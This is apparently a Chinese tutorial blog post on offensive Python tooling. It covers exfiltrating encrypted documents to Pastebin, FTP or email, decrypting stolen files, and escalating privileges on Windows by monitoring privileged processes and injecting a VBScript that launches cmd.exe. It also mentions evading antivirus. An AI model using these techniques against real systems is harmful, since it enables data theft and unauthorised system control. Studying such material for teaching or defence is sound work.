数据渗透与Windows权限提升技术解析
数据渗透技术
在数据渗透方面,我们可以使用 exfiltrate 函数来实现文档的渗透操作。该函数需要传入文档路径以及我们想要使用的渗透方法。
当渗透方法涉及文件传输(如 transmit 或 plain_ftp )时,我们需要提供实际的文件,而不是编码后的字符串。具体操作步骤如下:
1. 从源文件中读取文件内容。
2. 对文件内容进行加密。
3. 将加密后的内容写入临时目录中的新文件。
4. 调用 EXFIL 字典来调度相应的方法,传入新的加密文档路径以渗透文件。
5. 从临时目录中删除该文件。
对于其他方法,我们不需要写入新文件,只需读取要渗透的文件,加密其内容,然后调用 EXFIL 字典通过电子邮件或粘贴的方式发送加密信息。
以下是在主程序中对所有找到的文档进行渗透测试的代码示例:
if __name__ == '__main__':
for fpath in find_docs():
exfiltrate(fpath, 'plain_paste')
该代码会遍历所有找到的文档,并使用 plain_paste 方法进行渗透。
使用 exfil.py 脚本进行数据渗透非常简单,只需在主机上运行该脚本,等待其指示已通过电子邮件、FTP 或 Pastebin 成功渗透文件即可。如果在运行 paste_exfile.ie_paste 函数时保持 Internet Explorer 可见,你可以观察到整个过程。完成后,你可以浏览到你的 Pastebin 页面查看渗透并加密的数据。
例如,我们成功渗透了一个名为 topo_post.pdf 的 PDF 文档,将其内容加密后上传到了 pastebin.com 。我们可以通过以下代码下载并解密该文件:
from cryptor import decrypt
with open('topo_post_pdf.txt', 'rb') as f:
contents = f.read()
with open('newtopo.pdf', 'wb') as f:
f.write(decrypt(contents))
这段代码会打开下载的粘贴文件,解密其内容,并将解密后的内容写入新文件。你可以使用 PDF 阅读器打开新文件,查看来自受害机器的原始、解密后的地形图。
在选择渗透工具时,需要根据受害者网络的性质以及该网络使用的安全级别来决定。
Windows 权限提升
当你成功进入一个 Windows 网络后,就需要开始寻找提升权限的方法了。即使你已经以 SYSTEM 或 Administrator 身份运行,也可能需要多种获取这些权限的方法,以防补丁周期导致你的访问权限被终止。
在 Windows 上提升权限的典型方法是利用编写不佳的驱动程序或原生 Windows 内核问题,但使用低质量的漏洞利用程序或在利用过程中出现问题可能会导致系统不稳定。我们将探索一些其他在 Windows 上获取提升权限的方法。
大型企业的系统管理员通常会安排任务或服务来执行子进程,或运行 VBScript 或 PowerShell 脚本来自动化活动。供应商也经常有类似的自动化内置任务。我们将尝试利用任何高权限进程,这些进程处理可由低权限用户写入的文件或执行二进制文件。
安装先决条件
要编写本章的工具,我们需要安装一些库。在 Windows 的 cmd.exe shell 中执行以下命令:
C:\Users\tim\work> pip install pywin32 wmi pyinstaller
如果你在之前创建键盘记录器和截图工具时没有安装 pyinstaller ,现在可以使用 pip 进行安装。
创建易受攻击的 BlackHat 服务
我们将创建一个服务,该服务模拟大型企业网络中常见的一组漏洞。该服务会定期将脚本复制到临时目录并从该目录执行。以下是 bhservice.py 的代码:
import os
import servicemanager
import shutil
import subprocess
import sys
import win32event
import win32service
import win32serviceutil
SRCDIR = 'C:\\Users\\tim\\work'
TGTDIR = 'C:\\Windows\\TEMP'
class BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = "Black Hat Service"
_svc_description_ = ("Executes VBScripts at regular intervals." +
" What could possibly go wrong?")
def __init__(self,args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()
def main(self):
while True:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
if ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Service is stopping")
break
src = os.path.join(SRCDIR, 'bhservice_task.vbs')
shutil.copy(src, self.vbs)
subprocess.call("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)
if __name__ == '__main__':
if len(sys.argv) == 1:
servicemanager.Initialize()
servicemanager.PrepareToHostSingle(BHServerSvc)
servicemanager.StartServiceCtrlDispatcher()
else:
win32serviceutil.HandleCommandLine(BHServerSvc)
在上述代码中,我们定义了服务的基本属性和方法。 __init__ 方法用于初始化框架,定义要运行的脚本位置,设置超时时间并创建事件对象; SvcStop 方法用于设置服务状态并停止服务; SvcDoRun 方法用于启动服务并调用 main 方法; main 方法设置了一个循环,每分钟运行一次,直到服务收到停止信号。在循环中,它会复制脚本文件,执行脚本,然后删除文件。
你可以从 这里 获取 bhservice_tasks.vbs 脚本,将其放在与 bhservice.py 相同的目录中,并将 SRCDIR 指向该目录。
使用以下命令创建服务可执行文件:
C:\Users\tim\work> pyinstaller -F --hiddenimport win32timezone bhservice.py
该命令会将 bservice.exe 文件保存到 dist 子目录中。进入该目录,以管理员身份运行以下命令安装并启动服务:
C:\Users\tim\work\dist> bhservice.exe install
C:\Users\tim\work\dist> bhservice.exe start
服务将每分钟将脚本文件写入临时目录,执行脚本,然后删除文件。你可以使用以下命令停止服务:
C:\Users\tim\work\dist> bhservice.exe stop
如果你更改了 bhservice.py 中的代码,需要使用 pyinstaller 创建新的可执行文件,并使用 bhservice update 命令让 Windows 重新加载服务。完成测试后,使用 bhservice remove 命令删除服务。
创建进程监视器
我们将重新创建一些无挂钩的进程监控功能,以用于进攻性技术。这将使我们的监控具有可移植性,并且可以与防病毒软件一起运行而不会出现问题。
我们将使用 Windows Management Instrumentation (WMI) API 来监控系统中进程的创建事件,并记录一些有价值的信息,如进程创建时间、创建进程的用户、启动的可执行文件及其命令行参数、进程 ID 和父进程 ID。
以下是 process_monitor.py 的代码示例:
import os
import sys
import win32api
import win32con
import win32security
import wmi
def log_to_file(message):
with open('process_monitor_log.csv', 'a') as fd:
fd.write(f'{message}\r\n')
def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
try:
new_process = process_watcher()
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
proc_owner = new_process.GetOwner()
privileges = 'N/A'
process_log_message = (
f'{cmdline} , {create_date} , {executable},'
f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
)
print(process_log_message)
print()
log_to_file(process_log_message)
except Exception:
pass
if __name__ == '__main__':
monitor()
在上述代码中,我们首先实例化了 WMI 类,并告诉它监视进程创建事件。然后进入一个循环,直到 process_watcher 返回新的进程事件。我们收集进程的相关信息,将其输出到屏幕并记录到文件中。
运行 process_monitor.py 脚本后,我们可以创建一些进程来测试输出。例如,运行 notepad.exe 和 calc.exe ,脚本会正确输出这些进程的信息。你可以让脚本运行一天,捕获所有运行进程、计划任务和各种软件更新程序的记录,有可能会发现恶意软件。登录和注销系统也很有用,因为这些操作产生的事件可能表明存在特权进程。
Windows 令牌权限
Windows 令牌是描述进程或线程安全上下文的对象,其权限和特权决定了进程或线程可以执行哪些任务。
误解这些令牌可能会导致问题。例如,开发人员可能会在系统托盘应用程序上授予无特权用户控制 Windows 主服务(驱动程序)的能力,从而授予该应用程序 SeLoadDriver 特权。如果攻击者能够进入该系统托盘应用程序,就可以加载或卸载任何驱动程序,甚至可以安装内核模式的 rootkit。
以下是一些有趣的 Windows 令牌特权及其允许的访问权限:
| 特权名称 | 授予的访问权限 |
| — | — |
| SeBackupPrivilege | 允许用户进程备份文件和目录,并授予对文件的 READ 访问权限,无论其访问控制列表 (ACL) 如何定义。 |
| SeDebugPrivilege | 允许用户进程调试其他进程,还包括获取进程句柄以将 DLL 或代码注入正在运行的进程。 |
| SeLoadDriver | 允许用户进程加载或卸载驱动程序。 |
为了自动检索正在监控的进程上启用的特权,我们可以在 process_monitor.py 中添加以下代码:
def get_process_privileges(pid):
try:
hproc = win32api.OpenProcess(
win32con.PROCESS_QUERY_INFORMATION, False, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
privs = win32security.GetTokenInformation(
htok,win32security.TokenPrivileges
)
privileges = ''
for priv_id, flags in privs:
if flags == (win32security.SE_PRIVILEGE_ENABLED |
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privileges += f'{win32security.LookupPrivilegeName(None, priv_id)}|'
except Exception:
privileges = 'N/A'
return privileges
我们使用进程 ID 来获取目标进程的句柄,打开进程令牌并请求该进程的令牌信息。通过检查特权是否启用,我们可以查找其人类可读的名称。
最后,我们需要修改现有代码以正确输出和记录这些信息,将 privileges = "N/A" 这一行代码进行相应修改。
通过以上技术,我们可以实现数据渗透和 Windows 权限提升,同时利用 WMI 进行进程监控并了解 Windows 令牌特权的重要性。在实际应用中,需要根据具体情况选择合适的方法和工具。
数据渗透与Windows权限提升技术解析(续)
利用WMI进行进程监控的优化
在上半部分,我们已经实现了基本的进程监控功能。接下来,我们将进一步优化这个监控过程,使其能够更准确地捕捉高权限进程的活动,并利用这些信息进行权限提升。
首先,我们需要修改 process_monitor.py 代码,以调用 get_process_privileges 函数并正确输出和记录特权信息。以下是修改后的代码:
import os
import sys
import win32api
import win32con
import win32security
import wmi
def log_to_file(message):
with open('process_monitor_log.csv', 'a') as fd:
fd.write(f'{message}\r\n')
def get_process_privileges(pid):
try:
hproc = win32api.OpenProcess(
win32con.PROCESS_QUERY_INFORMATION, False, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
privs = win32security.GetTokenInformation(
htok,win32security.TokenPrivileges
)
privileges = ''
for priv_id, flags in privs:
if flags == (win32security.SE_PRIVILEGE_ENABLED |
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privileges += f'{win32security.LookupPrivilegeName(None, priv_id)}|'
except Exception:
privileges = 'N/A'
return privileges
def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
try:
new_process = process_watcher()
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
proc_owner = new_process.GetOwner()
privileges = get_process_privileges(pid)
process_log_message = (
f'{cmdline} , {create_date} , {executable},'
f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
)
print(process_log_message)
print()
log_to_file(process_log_message)
except Exception:
pass
if __name__ == '__main__':
monitor()
在这个修改后的代码中,我们在 monitor 函数中调用了 get_process_privileges 函数,以获取每个新创建进程的特权信息,并将其包含在日志记录中。
权限提升的关键步骤
接下来,我们将详细介绍如何利用监控到的信息进行权限提升。整个过程可以分为以下几个关键步骤:
1. 监控高权限进程 :使用上述的进程监控脚本,持续监控系统中高权限进程的创建和活动。重点关注那些具有特殊特权(如 SeLoadDriver 、 SeDebugPrivilege 等)的进程。
2. 确定可利用的文件 :通过监控进程的文件访问活动,确定高权限进程正在访问或执行的文件。这些文件可能是脚本文件、可执行文件等。
3. 注入恶意代码 :一旦确定了可利用的文件,我们可以尝试在文件创建过程中注入恶意脚本代码。例如,在 BlackHat 服务复制脚本文件到临时目录时,我们可以修改该脚本文件,使其执行我们指定的命令。
4. 执行命令外壳 :当高权限进程执行包含我们注入代码的文件时,它将执行我们指定的命令,从而实现权限提升。
以下是一个简单的流程图,展示了权限提升的主要步骤:
graph TD;
A[监控高权限进程] --> B[确定可利用的文件];
B --> C[注入恶意代码];
C --> D[执行命令外壳];
D --> E[权限提升成功];
实际操作示例
假设我们通过进程监控发现 BlackHat 服务(我们之前创建的易受攻击的服务)正在定期执行 bhservice_task.vbs 脚本。我们可以修改该脚本,使其执行一个命令外壳。
首先,我们需要在 bhservice_task.vbs 脚本中注入以下代码:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe"
这段代码将创建一个 WScript.Shell 对象,并使用它来运行 cmd.exe 命令外壳。
然后,我们需要确保在 BlackHat 服务复制脚本文件到临时目录之前,我们的修改已经生效。可以通过监控文件创建事件,在文件复制到临时目录时立即替换为我们修改后的脚本文件。
注意事项
在进行权限提升操作时,需要注意以下几点:
1. 系统稳定性 :使用不当的权限提升方法可能会导致系统不稳定或崩溃。因此,在进行任何操作之前,最好在测试环境中进行充分的测试。
2. 防病毒软件 :大多数防病毒软件会监控系统的关键操作,如进程创建、文件修改等。我们的权限提升操作可能会被视为恶意行为,因此需要采取措施绕过防病毒软件的检测。
3. 合法性 :在进行权限提升操作时,必须确保自己的行为是合法的。未经授权的权限提升可能会违反法律法规。
通过以上步骤和方法,我们可以利用进程监控和权限提升技术,在 Windows 系统中获取更高的权限。同时,我们也需要注意操作的安全性和合法性,避免给自己和他人带来不必要的风险。
超级会员免费看
3079

被折叠的 条评论
为什么被折叠?



